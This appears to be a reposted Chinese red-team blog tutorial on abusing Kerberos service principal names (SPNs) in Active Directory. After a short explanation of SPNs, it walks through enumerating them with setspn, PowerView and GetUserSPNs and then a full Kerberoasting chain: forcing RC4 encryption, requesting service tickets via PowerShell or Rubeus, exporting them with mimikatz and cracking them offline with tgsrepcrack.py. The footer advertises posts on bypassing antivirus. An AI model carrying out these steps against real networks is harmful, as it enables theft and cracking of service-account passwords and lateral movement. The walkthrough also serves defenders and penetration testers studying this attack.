SPN的相关利用
2022-9-28 08:0:52 Author: 红队蓝军(查看原文) 阅读量:16 收藏

首发先知社区:https://xz.aliyun.com/t/10106

服务主体名称(SPN)是服务实例,可以理解为一个服务,比如mssql,http等等的唯一标识符。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN,Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。

2.1 机器账户

只有机器账户或者域管账户才有权限注册SPN。

setspn -S mssqlserver/hostname.xx.com:1433 accountname

2.2 域用户

setspn -S SqlServer/mssql.redteam.local:1434/SqlServer hack

2.3 查看已注册的SPN

查看域内所有SPN

setspn -q */*

指定查看域注册的SPN

setspn -T redteam.local -q */*

删除指定SPN

setspn -D mssql/mssql.redteam.local:1433/mssql mssql

指定用户名/主机名查看SPN

setspn -L username/hostname

在域内渗透我们就不需要通过扫描来查看到底那台机器开了那些服务,可以通过SPN来获取想要的信息。相对于隐蔽性强。

3.1 PowerView

powershell -exec bypass
Import-module .\powerview.ps1
Get-NetUser -SPN

3.2 PowerShell-AD-Recon

Import-Module .\Discover-PSInterestingServices.ps1
Discover-PSInterestingServices      #扫描域内的所有SPN信息

3.3 GetUserSPNs

Import-Module .\GetUserSPNs.ps1

3.4 流量分析

通过wireshark可以看到

就是通过LDAP协议向域控服务器上的LADP查询了SPN服务。

可以通过ADSI编辑器查看用户属性的servicePrincipalName值

kerberos通信过程:

在TGS-REQ中会发出ST服务票据获取servicePrincipalName(SPN),该SPN是用户或者机器用户注册的。TGS-REP中TGS会返回给user一个ST,而ST是由user请求的server的密码进行加密的,我们可以从TGS-REP中提取加密的服务票证来进行离线解密。

在本地安全策略中将kerberos允许的加密类型改为RC4加密:

在运行更新策略:

gpupdate

4.1 SPN扫描

Import-Module .\GetUserSPNs.ps1

4.2 请求票据

4.2.1 powershell请求

Add-Type -AssemblyName System.IdentityModel  New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SqlServer/mssql.redteam.local:1434/SqlServer"

4.2.2 Rubeus.exe

Rubeus.exe kerberoast

Rubeus原理为现在LDAP查询SPN,再发送TGS包,再打印出hash,可以使用hashcat等进行爆破。

4.3 导出票据

mimikatz导出票据

kerberos::list /export

4.4 离线破解

使用tgsrepcrack.py

python2 tgsrepcrack.py pass.txt xx.kirbi
   加下方wx,拉你一起进群学习

往期推荐

关于利用rundll32执行程序的分析

什么?Windows defender 竟如此脆弱?

最新办法绕过360核晶添加计划任务

一款域信息收集神器

最新绕过360添加用户 | 红队蓝军祝您双节快乐

域内批量获取敏感文件

域内批量解析chrome浏览器

深入注册表监控

net反射


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247503628&idx=1&sn=6e95f32bf3d77a6115af55820dc614a4&chksm=ce6775b0f910fca601cdd24b465554ca618aca03ae127514926569004cf00f76967bee66ecad#rd
如有侵权请联系:admin#unsafe.sh